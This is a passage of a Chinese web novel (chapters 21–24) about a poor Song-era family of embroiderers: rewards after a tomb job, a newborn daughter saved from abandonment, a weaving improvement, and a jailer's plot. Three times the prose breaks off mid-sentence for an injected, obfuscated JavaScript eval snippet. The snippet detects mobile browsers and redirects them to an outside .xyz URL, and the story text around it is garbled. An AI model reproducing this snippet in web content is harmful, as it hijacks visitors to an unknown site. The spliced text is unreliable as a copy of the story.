“燕直私记，私印而已，丢了便丢了。旧物当去，或许正是天意。”他低声咀嚼自己的名字，嘴角勾起意味深长的弧度，“从今往后，私计便留在过去吧，该谋的是公器。” 马车再次启动，辘辘前行，将永厚陵彻底抛在身后。 车轮碾过永安县的青石板路，发出轻快的辘辘声。片刻后，绣艺坊熟悉的大门终于映入眼帘，车厢里紧绷了数日的绣娘们，齐齐发出如释重负的叹息。 几辆官车稳稳停下，车帘掀开，王教习被搀扶着率先下车，眼神已有了神采，身后跟着的绣娘们，个个面色轻松。 “都辛苦了。此番差事，你们为绣艺坊立了大功。坊主有言，凡参与此行的绣娘，每人赏钱两贯，放假两日，好生歇息，养足精神。”留守的吴教习快步迎上，声音洪亮地宣告。 两贯钱！这对许多家境普通的绣娘来说，可是一笔不小的进项，足够给家里添置不少东西了。 钱串被挨个发下，入手沉甸，叮当作响，每个人的脸上都绽开了笑容。唐照环和琼姐也各自领到了属于自己那份的两贯钱，小心地用布帕包好，紧紧攥在手心。 待众人领了钱，欢天喜地地散去归家，门口只剩下吴教习和王教习二人，吴教习脸上的笑容换上凝重，拉住王教习的胳膊，不由分说地将她拉进自己房间。 “手怎么回事？” 吴教习关上门，劈头就问，仔细盯着王教习裹得严严实实的双手，“走时还好好的，回来就包成了粽子，快解开我看看。” 布条一层层褪下，露出了王教习的双手。换上了赵燕直赐的高级伤药，手上的疤痕减淡了许多，红肿也逐渐消退，但还是能看出最开始受伤有多严重。 吴教习取来干净布巾和温水，替她清理伤口，重新上药包扎。 王教习将自己如何发现幡帐旧伤，赵燕直如何步步紧逼，追问责任源头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266079|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己如何不敢指认只能含糊认下查验疏漏之罪，又如何被当众责打十下手板立威，以及唐照环如何临危立军令状，夜以继日完成修补等事，一五一十，细细道来。 吴教习仔细听着，手上包扎的动作不停，脸色越来越沉。待王教习说完，她已重新包扎好伤口，直起身，冷哼一声。 “你挨这顿板子，怕是正合了某些人的意。” 王教习一愣：“何意？” “主祭倒是拿着鸡毛当令箭，威风耍足了。可他知不知道，他这道命令，给李检校那等蠹虫递了敛财的梯子。 他说，但有丝毫污损陈旧不合规制，都要处理。李检校这帮人，必定会趁机将那些原本最多边角磨损，轻微褪色，甚至只是看着不太鲜亮的物件，统统报成损坏严重，不堪使用，名正言顺申领新的。 被报损的东西，转头被他们私下处理得干干净净，或贱卖，或拆解，啧啧，那油水，够他们肥上好几年的。” 吴教习顿了顿，继续接下去推演， “更换了大批器物，耗费必然不菲。汴京城里那些等着找茬的御史们，岂会放过这等好机会？弹劾他祭礼奢靡，劳民伤财的奏表，怕是已经在路上了。别到时候，他办事得力的名声没捞着，反倒惹一身骚。” 王教习听得心惊肉跳，想想那年轻主祭看似掌控一切实则步步危机的处境，心中百味杂陈，最终化作一声长长的叹息。 这世道，想做点实事，怎么就那么难？ 与此同时，唐照环和唐照琼刚踏进家门，就被守候多时的溪娘和大娘一把搂进了怀里。 “终于回来了。” 溪娘上下打量着女儿，见她虽清瘦了些，但眼神明亮，精神尚好，悬了几天的心终于落回肚子里。 大娘嘴里习惯性地不饶人：“可算舍得回来了，瞧瞧，这脸都尖了，定是在那边没吃好。那贵人府上的饭食，也是咱小门小户消受得起的？” 正热闹着，院门又被推开，唐守礼风风火火地进来：“你们可见大世面了，快说说，瞧见龙气没有？贵人长啥样？是不是真跟戏文里似的，浑身金光闪闪。” 众人笑作一团，气氛热闹起来。 院中老槐树下支起小木桌，唐照环和琼姐献宝似的，将各自领到的两贯赏钱拿出来放在木桌上，发出哗啦啦悦耳的声响。 “都是你们挣的？” 大娘再不见刚才的刻薄，只剩下狂喜，伸手抓住属于琼姐的那份，“哎哟我的琼儿，真出息了，娘收着给你攒嫁妆。” 琼姐红着脸没阻拦，任由她娘把钱拢过去。 溪娘嘴里喃喃着：“这下好了，你爹的纸笔钱，家里的油盐钱，都能宽裕些了。” 两人又打开赵燕直赏的锦囊，各倒出十两白花花的银子。 唐照环再从包袱里掏出一堆空白素绢和宣纸：“主祭写，呃，没用完，赏的。” 溪娘摸着素绢光滑柔韧的手感，爱不释手：“好绢，真是好绢，这能做好些东西了。” 唐守礼啧啧称奇：“乖乖，你们这是去当差还是去挖金矿了，立了啥大功？” 唐照环清了清嗓子，开始绘声绘色地讲述起这几天惊险经历。 当然，隐去了自己献策，顶撞赵燕直以及藏匿私印等关键。 她口齿伶俐，描述生动，讲到惊险处，溪娘和大娘都紧张地屏住呼吸。讲到王教习受罚，溪娘抹起了眼泪，讲到两人如何熬通宵，妙手织补，大娘连声念佛，讲到主祭赞赏赏银，唐守礼听得两眼放光，拍案叫绝。 临了，唐守礼眼馋地看着桌上那堆钱：“环儿琼儿，三叔我最近想跟人合伙跑趟短途，贩点南边的果子来卖，正缺本钱，银子先借我周转周转？保证连本带利还你，赚了钱给你俩买花戴。” “去你的，少打你侄女血汗钱的主意。” 大娘立刻像护崽的母鸡般挡在钱堆前，警惕地骂道，“这钱是她俩拿命挣回来的，你别想动。” 溪娘也赶紧说：“钱得留着给你二哥读书赶考，给她攒嫁妆。你那买卖，有赚有赔的，万一亏了怎么办。” 唐守礼碰了一鼻子灰，也不恼，笑嘻嘻地讨饶：“嫂子们别急嘛，我就说说，说说而已。” 一家人笑闹完，溪娘和大娘难得达成一致，决定拿出钱割点肉，杀只鸡，晚上好好给两人做顿丰盛的接风宴。 22.第 22 章 妹妹 进了八月，天气总算凉快了些，溪娘的肚子正式迈进了第十个月。瓜熟蒂落，就在眼前了。 奶奶特意从主家的田庄上告了假，风风火火地拉回满满一车劈好的干柴火，堆满了灶房外的墙根底下：“紧赶慢赶，总算没误事。这生孩子和月子里的柴火热水，可半点马虎不得。” 家中光景比从前亮堂了不少。 唐照环和琼姐皇陵走一遭，挣回了工钱和主祭的厚赏，溪娘狠狠心，把家里人那些补丁摞补丁，洗得发白透亮的旧衣裳一股脑儿全换了新。旧衣也没舍得扔，细细拆开，洗净煮透，裁出了厚厚一摞方块，预备给小娃娃当尿布。 被褥填了新丝绵，从贴身的小衣和夹袄，到厚实的小绵袍，外加帽鞋，溪娘早做了一沓，足够穿到两三岁。 看着这些簇新的家当，奶奶脸上的皱纹都舒展了不少，直夸家里两个小娘子有造化。 这天吃过早饭，溪娘正扶着腰在院子里慢腾腾地溜达消食，肚子猛地一阵紧似一阵地抽痛起来，像有只小手在里面狠狠攥了一把。 她脸色一白，扶住旁边的柴垛，声音都变了调：“娘。” 奶奶正在灶房刷碗，闻声扔了抹布，像阵风似的卷了出来，一把扶住她：“快进屋躺下，看样子要生了。” 唐守仁已带着唐照环和琼姐出了门，家里只剩三个娘子。 奶奶早有准备，沉稳地指挥大娘去灶上烧起两大锅滚水，自己把溪娘扶进堂屋另外一边耳房的床上，握住了溪娘汗湿的手。那边很早就做好了产房布置，东西全乎。 这一折腾，便折腾过了晌午，出门上学的三人都回来了，溪娘还没把孩子生下来。 唐照环和琼姐负责管灶，大娘洗了手进屋帮忙。唐守仁被关在门外，听到里面溪娘压抑的痛呼声，急得像热锅上的蚂蚁，在院子里团团转，一会儿凑到门缝边听听，一会儿又跑到灶房看看火，添两把柴。 时间在煎熬中一点点爬过，终于在家家户户升起炊烟的时候，耳房里传来了婴儿啼哭。 唐守仁激动得冲到堂屋门口，恨不能把门板看出个洞来。 吱呀一声，房门开了条缝，奶奶抱着裹在蓝布襁褓里的小小婴孩走了出来。 她在距离儿子五六步远的地方站定，没有把孩子递过去，反而侧身挡住了唐守仁急切的视线，脸上皱纹全皱在一起，干涩道：“是个姑娘。” “姑娘也好，姑娘也好。”唐守仁根本没听出她话里异样，满心满眼都是欣喜，“溪娘辛苦了，您也辛苦了。我这就去煮红鸡蛋，给主家报喜，给街坊邻居报喜。” 奶奶抱着襁褓的手臂紧了紧：“你站住！” 唐守仁被这声喝止钉在原地，茫然地看着她。 奶奶往前走了半步，狠了狠心，一字一句如同钝刀子割肉： “这丫头，咱家怕是，留不住。” 唐守仁脸上血色唰一下褪得干干净净：“您说什么？” “我说，这丫头不能留。”奶奶闭上眼，深吸一口气，强压下心中不忍，“家里什么光景，你心里有数。拢共二十亩薄田，佃出去给人种，一年到头，交完官府的秋税，落到手里的，满打满算七石没脱壳的稻谷。拿到市上粜了，顶了天值五贯。” 她伸出粗糙的手指，指向破旧的院落：“吃穿住行一月花销快一贯，还不算人情往来，头疼脑热。” 是的，连唐照环也明白，爷奶年近五十，还得在主家庄园起早贪黑当监工，爹爹给书坊抄书，替人写书信看契纸，溪娘，大娘和琼姐全年无休地做绣活，都是为了填窟窿贴补家用。 “五年前闹水又闹瘟，你大哥没了，环儿的弟弟也没了，直到今年才算缓过一口气。琼儿都十四了，眼瞅着快到议亲的年纪。永安县如今行情，姑娘家出门子，没有一百贯嫁妆，到了婆家腰杆子都挺不直。 咱家勒紧裤腰带，能凑够姐妹俩的嫁妆已是老天爷开眼，哪还有余力再养一个姑娘，再备一份嫁妆啊？” 她狠下心肠，指向后山方向。 “趁天没黑，送她到后山吧。兴许有好心人路过捡了去，也是条活路。溪娘这次生得艰难，身子亏得厉害，得好好养上半年。等养好了身子骨，再怀个男丁也不迟。” 耳房里，大娘紧紧攥着溪娘的手，脸色发白。她知道婆婆说的都是实情，刻薄如她，此刻也觉心头发凉，嘴唇动了动，终究一句话也没说。 院子里死一般寂静。只有襁褓里的小婴儿，似乎感受到了周遭凝重的气氛，发出小猫似的微弱呜咽。 唐守仁如遭雷击，僵立当场。他舍不得放弃小生命，更舍不得妻子身上再添重担子，巨大的痛苦和无力感瞬间将他淹没。 就在这时，一个身影猛地从灶房冲了出来，直直站在奶奶面前。 是唐照环。 她小脸涨得通红，眼中燃烧两簇火焰：“不行，不能送走妹妹！” “大人说话，你插什么嘴，回屋去。”奶奶厉声呵斥。 唐照环一步不退，胸膛剧烈起伏，声音又急又快：“我在皇陵，立下大功又得了那么厚的赏钱，这是老天爷给咱们家的福气。妹妹这时候来，就是跟福气一起来的福星。您要是把她丢了，那就是丢了福气，要遭罪的。” 这是她目前能想到最有力的震慑。 奶奶的脸色果然变了。 唐照环抓住机会，继续大声道：“我听说城里好些人家的小娘子，十九岁才定亲。 我才十岁，有的是时间，有的是机会，这次立下大功，以后能接更大的活。九年时间，够我做多少绣活，够我接多少像皇陵那样的差事。 我向您保证，我自己的嫁妆，我自己挣。妹妹的口粮钱，她的嫁妆钱，我也一并挣出来，决不拖累家里一分一毫。” 她目光灼灼，看向一旁摇摇欲坠的爹爹：“爹您说句话，这是您的亲骨肉，您忍心看她刚落地就被扔到荒山野岭喂狼吗？咱们家是读书人家，讲究仁爱孝悌，要是连亲生的女儿都容不下，传出去，爹您还怎么在士林立足？还怎么考功名做官？” 情感与利益，现实与伦理，祖宗神灵与未来希望，唐照环这番话，如同疾风骤雨，精准地击打在奶奶和唐守仁心头最柔软也最在意的地方。 唐守仁原本被绝望笼罩的心，被女儿这番话猛地照亮了。 他挺直了脊背，一步跨到唐照环身边，与她并肩站在一起，无比坚定地说： “环儿说得对，这孩子不能送，她是老天爷赐给咱们家的。溪娘拼了命生下她，我唐守仁就算砸锅卖铁，也要把她养好。” 一股酸涩的热流猛地冲上奶奶的眼眶。她最后那点坚持，彻底崩塌了。 她低下头，用布满老茧的手指，极其轻柔地碰了碰婴儿细嫩的脸颊。 “罢了。你们父女俩一个比一个能说会道，老婆子说不过你们。”奶奶浑浊的老眼里终于有了暖意，嘴里习惯性嘟囔，“都是债，都是命里带来的债啊。既然留，好好养着，名字也认真起一个吧。” “妹妹生在八月，桂子飘香，就叫玥。”唐照环脱口而出，“玥是神珠，是天赐的珍宝，正配得上咱们家的福星妹妹。” “玥儿，好名字。”唐守仁连连点头，激动得眼眶发红。 奶奶抱着襁褓，轻轻晃了晃：“行了，别杵着了。你不是要煮红鸡蛋么，先弄碗红糖鸡蛋小米粥来，给你媳妇补身子，喝完了好给玥儿喂奶。” 小玥儿的降生，像一颗小石子投入唐家这潭刚泛起活水的小池，涟漪一圈圈荡开，日子骤然变得忙碌而琐碎，又透着股踏实的暖意。 溪娘在东厢房里坐起了月子，奶奶雷厉风行，彻底坐镇家中。 她指挥若定，将坐月子的溪娘照顾得滴水不漏。每日里，滚烫的红糖小米粥、炖得软烂的鸡汤、下奶的丝瓜蛋汤轮番端进东厢房。溪娘被她按在床上，除了喂奶，手指头都不让多动一下，安心将养生产时亏空的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275005|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子骨。 小玥儿也乖，像只娇嫩的奶猫，整日里除了吃便是睡，偶尔睁开乌溜溜的眼睛，好奇地打量这个对她而言还太陌生的世界。极少哭闹，倒让大人省心不少。 唐照环心疼娘亲，向绣艺坊告了一个月长假，王教习念及她家中有产妇幼儿，又想到她在皇陵立下的功劳，爽快地批了，还嘱咐她好生照料家里。 于是，唐照环开始了陀螺般的日子。 天蒙蒙亮就起身，轻手轻脚地洒扫庭院，烧好热水，煮好一家人的粥食。等日头升高些，溪娘和小玥儿醒了，她便麻利地端水送饭，拿起扫帚抹布，将屋里屋外洒扫干净，然后接过吃饱喝足，换过尿布的小妹妹。 她学着奶奶的样子，笨拙地拍着奶嗝，哼着不成调的儿歌，直到小祖宗再次沉入梦乡，交给在院内做活的奶奶。 这时溪娘才能抓紧时间睡个回笼觉。 上午在琐碎紧张的忙碌中倏忽而过，等日头爬过中天，她匆匆扒拉几口饭，拉上早已等候的琼姐，一头扎进唐鸿音家。 唐鸿音家后院空屋，机子旁边堆着之前买回的丝线，还有巴掌长的吉星纹罗小样。 “这机子真能织出长匹的？”琼姐心里直打鼓。 小样好看是好看，真要织长匹，又是另一回事了。 “总要试试。”唐照环坐上机凳，回忆手感，开始引纬穿梭。梭子在她手中飞快穿梭，脚踩踏板发出规律的咔哒声。琼姐围着织机爬上爬下，确保丝线连续和机器顺滑。 那台老旧的立织绫机重新吱呀作响起来。 起初还算顺利，吉星纹的轮廓渐渐在经线上延伸。然而，织了不到半尺，问题接踵而至，给了她们当头一棒。 最大的麻烦，出在绞综上。 姐妹俩之前做小样，经线短，张力相对好控制。可一旦织机上的经线数量和长度倍增，问题就暴露无遗。 琼姐总结：“孔眼歪歪扭扭，有的地方挤在一起成了团，有的地方又松散得快要破洞。纹路边缘毛毛糙糙的，不清爽。” 唐照环眉头拧成了疙瘩。罗面上的孔洞大小不一，排列混乱，完全失去了小样时的均匀精致。提花的纬线被拉扯得失去了筋骨，图案走形得厉害。 她停下织机，反复检查。问题根源渐渐清晰，经线张力严重不均。 立织绫机是斜向的，经线从高处经轴垂下，穿过绞综装置和提花综，最后卷到下方的卷布轴上。织造时，需要手脚并用，脚踏提花综，手投梭引纬，同时还要手动控制绞综的转换。 小样短，绞经的张力还好调整。可一旦织长了，随着绞转次数增多，绞经之间的配合就出了问题。 有的绞经绞得太紧，有的绞得太松。紧的绞经死死拽着地经，把花纹拉变形，松的绞经无法有效绞住地经，导致本该闭合的孔眼松散，纹路模糊。 尽力保持手感均匀试了好几次，绞经的张力依旧不平衡，像步调不一致的纤夫，生生把整匹罗的筋骨给扯歪了。 姐妹俩愁云惨淡，琼姐甚至打起了退堂鼓：“这太难了。要不咱们还是织回普通的绢和纱吧？虽然便宜点，至少能织出来。” 唐照环没回答，眼神死死盯着机子上复杂的绞综，脸上满是不甘。她想起琼姐差点被卖入火坑时的绝境，想起对奶奶立下的誓言。 放弃？不行！ “三根绞在一起，一松一紧容易乱。”她围着织机转圈，喃喃自语，“如果再加一根呢？” 一个大胆的想法在她脑中成型，变北宋流行的三经绞罗为南宋流行的四经绞罗。 也不用像后世那么复杂，当初她对着书上的示意图看了半天，脑子都糊了。 就在循环中多加入一根经线，比如甲乙丙丁四根经线，这次甲和乙，丙和丁绞一次，下一排乙和丙绞，甲跟左边的丁，丁和右边的甲绞，两组绞综分开绞转，相当于把绞转的力量分散了，不像原来所有绞转都挤在一处，更容易控制。 23.第 23 章 秋税 唐照环激动地跟琼姐解释：“就像桌子从三条腿变成了四条腿，必然更稳固。” 琼姐听得半懂不懂，但看她如此笃定，也升起希望：“咱们试试。” 说干就干。 姐妹俩即刻动手改造织机花本。 好在立织绫机结构相对简单，唐照环凭着对织机结构的理解和一股韧劲，花了好几天时间，硬是给这台织机升级成了能织四经绞罗的新机器。 穿经，调试，又是一番手忙脚乱，梭子再次穿梭，一小块新的罗面在卷布轴上缓缓成型。 姐妹俩屏住呼吸，凑近细看。 孔眼明显均匀了许多，大小一致，排列有序，透光性极佳。虽说手工操作精度有限，提花部分的边缘虽然仍有些许毛糙，但图案轮廓清晰，流畅感初现端倪。 最关键的是，布面整体稳定性大大增强，不再有那种随时会歪斜的脆弱感。 “真的成了。”琼姐喜极而泣。 唐照环也长长舒了一口气，一直紧绷的脸上绽放灿烂笑容。这条路，走通了。 找到了正确的路子，后面的进展便快了许多。姐妹俩配合日渐默契，唐照环主攻绞综，把控整体。琼姐心细手稳，负责引纬和提花。 老织机在她们手下焕发了新生，吱吱呀呀的声响也变得悦耳起来。 一个月的光阴，在晨起洒扫和织机声中悄然流逝。溪娘在奶奶的精心照料下，气色红润了许多，已能下床做些轻省活计。小玥儿也像吸足了养分的小苗，肉眼可见地胖乎起来，小胳膊小腿像嫩藕节，咿咿呀呀的声音充满了活力。 最后一缕纬线被打紧，剪断，三匹吉星纹罗整齐地码放在木桌上。 罗布轻薄通透，吉星纹若隐若现，流光溢彩，美不胜收。虽比不上官造工坊的出品，但在永安县地界，绝对称得上拔尖儿的货色。 当晚，唐鸿音就赶到了后院。 他今日刚跑完一趟短途买卖回来，顾不上梳洗，风尘仆仆直奔桌上罗料而去。 “哟呵，还真让你们俩鼓捣出来了。”唐鸿音的声音带着少年人特有的清亮和毫不掩饰的惊讶。 他捻起一角，仔细看了看绞孔和纹路，又摸了摸质感，眼中精光一闪。 “好料子。”唐鸿音由衷赞道，“这绞孔，这纹路，这手感，比市面上的素罗强太多，你俩这是要成精啊。” 他出门前，两人还在对着织机抓耳挠腮，不得其解，他也明说，虽说当初拿小样说服了族长，请老人家出马压住了大娘。可他也知道这台织机太过简陋，做出素罗便是极限，更何况当初买机器时，卖家也如此跟他说，所以他还劝慰过两人不要太过有负担。 没成想等他跑商回来，居然真见到成品了。 唐照环笑容明亮：“十二叔过奖了，侥幸摸索出来罢了。您看，值多少？” 唐鸿音放下罗料，摸着下巴，少年老成地盘算起来：“永安县市面上，上好的素罗，一匹卖两贯。你这花罗，工艺更复杂，这三匹，我按市价收了，九贯钱。” 他从怀里掏出钱袋，用小称称出九两白银，推给唐照环。 九贯，快抵上她们家两年田租收入。而且布庄都是六折收货，唐鸿音按市价收，明显自掏腰包补贴她俩。 琼姐激动得小脸通红。唐照环虽然也高兴，但还算镇定，她收好钱，真心实意地道谢：“谢谢十二叔。” 唐鸿音摆摆手，笑容满面：“自家人谢什么。你们有本事，我脸上也有光。” 他顿了顿，话锋一转，语气带上了商人的精明：“不过，有件事得提醒你们。” 姐妹俩看向他。 “吉星纹罗是好东西，可你们看这天。”他走到窗边，推开一条缝，一股带着明显凉意的秋风灌了进来，“眼瞅一天凉过一天。纱和罗再好，也是夏天用的料子，入了秋，谁还穿这个。 我知道你家现在艰难，玥儿还小，处处要钱。但织这个，怕是赶不上好时候了。 本来后面应该换成应季的厚实料子，比如绸、缎、锦，或者保暖的绒布。可惜咱织机小，织不了厚的。不行你们等明年开春再上机，冬天先搞绣活。” 唐鸿音的话像一盆冷水，让沉浸在喜悦中的姐妹俩瞬间清醒过来。 琼姐脸上的喜色褪去，染上了愁容：“那怎么办？” 唐照环也皱起了眉头，陷入了沉思。 十二叔的提醒很及时，也很残酷，她必须找到新的生财之道。 “趁天没冷透，再织两匹再说。”她打定主意。 秋风吹得紧，卷起地上的落叶打着旋儿。唐家小院里，玥儿吃饱了奶，在溪娘怀里睡得正香，奶奶在灶下熬着米汤，蒸汽氤氲，给小院添了几分暖融融的生气。 可这安稳，终究是水面上的浮萍。 一个中年男人缩着脖子，左右张望了下，像做贼似的闪进钱贵家。 正是县城里攀附钱贵的布庄掌柜，姓刘。 钱贵歪在堂屋的高椅上，就着一碟盐水煮黄豆下酒。孙大娘在旁纳鞋底，针线扯得呼呼响。钱福妞正对铜镜，往脸上扑香粉。 “钱爷安好。”刘掌柜点头哈腰，将个布包放到钱贵手边。 钱贵眼皮子都没抬，用筷子尖把包袱戳了戳：“老刘，这份子不够厚实。” 刘掌柜腰弯得更低：“哎哟喂，我的钱爷。您老可别提了，今年这买卖，它不景气啊！” “不景气？”钱贵终于撩起眼皮，铜铃眼里射出两道寒光，啪地一声把筷子拍在桌上，“老子年初就给你递了信儿，今年上头收夏税，指名道姓只要素绢，别的一概不收。 老子让你囤，往死了囤。你他娘的拍胸脯跟老子保证，囤够了，保管赚个盆满钵满。现在就这点子腌臜钱？” 刘掌柜被钱贵那身煞气逼得冷汗涔涔，脸上堆满了谄媚又苦涩的笑：“您息怒，息怒，小的哪敢糊弄您呐。小的确确实实按您的吩咐，把能动用的钱都砸进去，囤了好大一批素绢，堆得库房满到房梁。” “钱呢？囤了那么多，卖出去的银子飞了？还是让你这老小子私吞了？” “天地良心，小的就是吃了熊心豹子胆也不敢吞您钱爷的份子！”刘掌柜叫起撞天屈，“实在是卖的素绢，没咱们预想的多。库房里还压着老大一堆呢，都是真金白银的本钱。眼瞅天凉了，更没人要了，小的也急得嘴上起燎泡啊。” “卖不出去？”钱贵狐疑地盯着刘掌柜，“消息是老子给的，准得不能再准。县衙催缴夏税的招子贴得满大街都是，只要素绢。那些刁民小户，不买你的绢，他们拿什么交税？拿头交？” “知道消息的可不止您一位，知县，州里的那些大官，手里的布庄都囤了货。按咱们当初想的，吃不了大头，总有破落户来我这里买高价绢。可怪就怪在，好些人家，瞧着也没砸锅卖铁，也没见借债，税居然也交上了，邪门。” 钱贵眯出了三角眼，里头寒光闪烁：“你是说……有人捣鬼？” “十有八九。”刘掌柜恨恨道，“小的琢磨着，无外乎两条路，要么，就是有人胆子肥了，偷偷买了织机，躲在家里自己织。要么就是有人胆大包天，从外地贩了便宜绢回来，顶了永安的税，断了咱们的财路。” “自己织？外地贩？”钱贵嘴里咀嚼着这几个字，脸上的横肉抽动，凶光毕露，“给老子说，永安县谁家有新添的织机？谁家最近有生面孔，或者家里男人往外跑得勤的？特别是那些穷酸又能凑齐税绢的人家，一个都别放过。” 刘掌柜等的就是这句话，如数家珍地报出几个名字，都是他暗中留意，觉得可疑的庄户或小商贩。 末了，他特意加了一句：“还有唐家的唐鸿音。钱爷您也知道，那小子年纪不大，鬼精鬼精的，一肚子生意经。最近几个月没少往外跑，说是走亲戚，谁知道他暗地里有没有夹带私货？便宜绢弄回来转手，或者干脆分给亲戚顶税，也不是没可能。” “唐鸿音？” 这个名字像根刺，扎进了钱贵心里。 唐家，又是唐家。穷酸秀才唐守仁，在绣艺坊敢跟他宝贝闺女别苗头的小丫头唐照环，加上唐鸿音，新仇旧恨瞬间涌上心头。 孙大娘把鞋底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285359|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子一扔，吊梢眼竖了起来：“杀千刀的，一家子没个好东西。当家的，可不能轻饶了他们。” 钱福妞更是跳了起来，尖声道：“肯定是唐照环那个小贱人撺掇的，她最坏了。” 钱贵狞笑一声，露出一口黄牙：“老子倒要看看，哪个不开眼的，敢在太岁头上动土。” 送走了战战兢兢的刘掌柜，钱贵心里的邪火非但没消，反而越烧越旺。他钱贵在永安县，什么时候吃过这种闷亏。这口气不出，他就不姓钱。 唐家门楣虽不显赫，但本家有人做官。钱贵一个牢头，再横，也不敢让手下直接闯进去盘查。 第二日，他召集了心腹兄弟，安排人轮番在唐鸿音院子外的僻静巷子里逡巡，耳朵竖得老高，捕捉墙内墙外的一切动静。一连两日，并无异常。 就在钱贵快要失去耐心，怀疑刘掌柜是不是耍他时，手下来传信，听到了不一样的声音。 钱贵精神一振，立刻前去，到地方仔细一听，这声音他太熟了。织机运作的声音，就这味儿。 果然是你，唐鸿音。 钱贵四下张望，巷子尽头堆着些废弃砖石。他搬了几块半截砖，踩上去，扒着墙头探出半个脑袋，朝后院望去。 这一看，钱贵那双眯着的眼睛瞬间瞪得溜圆。 只见唐鸿音后院那间原本堆杂物的厢房门敞开，两个熟悉的身影正埋头忙碌，是那个伶牙俐齿的丫头唐照环和她那怯生生的堂姐唐照琼。 去岁唐鸿音申请机织许可，知县专门派钱贵来看过，机子破得快散架，一寸绢都织不出来，后来他还找别的借口又来了一趟，确认确实不能用，才不再关注此地。 钱贵气得差点咬碎后槽牙，所有的怀疑，所有的线索，在这一刻都串联了起来。 唐鸿音定从外地买了便宜的丝线，找人修好了织机，让唐家这两个小蹄子躲在这里织素绢，断他钱贵的财路。 挡人财路，如杀人父母。 钱贵只觉得一股邪火直冲天灵盖，新仇旧恨交织在一起，烧得他五脏六腑都在疼。他仿佛看到白花花的银子长了翅膀，从自己口袋里飞进了隔壁那个破院子。 他额头青筋暴跳，死死盯着后院两个浑然不觉的身影，铜铃眼里翻滚凶戾：“敢在老子眼皮子底下玩这套。” 必须狠狠地整治！唐鸿音是唐家族长的儿子，他动不了，不整得唐守仁脱层皮，他钱贵两个字倒过来写。 他最后阴毒地瞥了一眼，像来时一样，悄无声息地融入了沉沉的暮色之中，只留下咔哒咔哒的织机声，还在无知无觉地响着。 进了十月，秋老虎彻底没了踪影，永安县大街小巷的空气里弥漫着一种萧瑟又紧绷的气息。 秋税，该交了。 新织的吉星纹罗卖了好价钱，又得了唐鸿音天冷织罗没销路的提醒，唐照环和琼姐再织了两匹，确定秋税够交，便停了机子，上午依旧去绣艺坊，下午在家料理家务，日子虽紧巴，倒也暂时安稳。 这日午后，本县管收税的押司领着两个差役，敲开了唐家的门。 “唐秀才在家吗？” 押司公事公办地问。 唐守仁闻声从屋里出来：“不知何事登门？” 押司清了清嗓子，翻开手里的簿子：“你家……咳咳，八月添了新丁。你家够格，要服秋税催征役。” “催征役？” 唐守仁脸色剧变。 秋税催征役，要下乡入户，向交不起税或故意拖欠的刁顽人家催逼钱粮。轻则受气挨骂，重则被泼皮无赖围攻，甚至丢了性命也不稀奇。 不过，只要催到了一定数量，多出的都归催征人所有，往年那些有泼皮手段的公人或乡间恶霸抢着去干，怎么会轮到他一个手无缚鸡之力的书生。 “官人，怕是弄错了吧？在下乃一介书生，体弱力薄，更无催科经验，如何当得此任？家中新添幼女，内子体弱尚在调养，实在……” “唐秀才，这是章程。” 押司打断他，语气硬了几分，“户册丁口对得上，县衙说该你去，你就得去，推脱不得。三日后出发，你去石沟村。” 24.第 24 章 石沟村 石沟村！ 永安县出了名的穷地方，地势低洼，十年九灾，民风更是彪悍，历年催征，没几个能囫囵回来。不是被打得头破血流，就是被赖得焦头烂额。 连在屋里竖着耳朵听的大娘都忍不住冲了出来：“这差事要命的。一个只会读书的秀才，去那种地方催粮，不行，绝对不行。” 送走了押司，唐守仁立即去了主屋，求见族长。 他红着眼圈，深深作揖，把摊派任务说了：“求二伯明鉴，小侄实在不堪此任，恐误了税赋，更恐……” 族长听完原委，眉毛紧紧拧起。 唐守仁是族中为数不多有望读书进学的苗子，虽然家贫，但品性端方，是他看好的后辈。 唐家家族里头已经有整整二十七年没再出过进士，唯一做官的老四年近花甲，眼瞅着就要在知县的位子上退了。 如今看着还有些田产铺面，实则早已败相横生，维持本家的体面都有些艰难，远支子弟穷困潦倒更不少见，连县衙差役过门都要赔笑递茶钱。 若再不出个进士撑持起门庭，他日怕是被人生吞了都无人喊冤。 明面上是循例抽丁，暗里怕是县衙那起子豺狼嗅着唐家式微，故意作践苗子给旁人瞧，其心可诛。 族长一口答应：“我唐家读书人岂能去做这等胥吏催科之事，明日老夫亲自去见知县。” 第二日一早，族长穿戴整齐，直奔县衙。 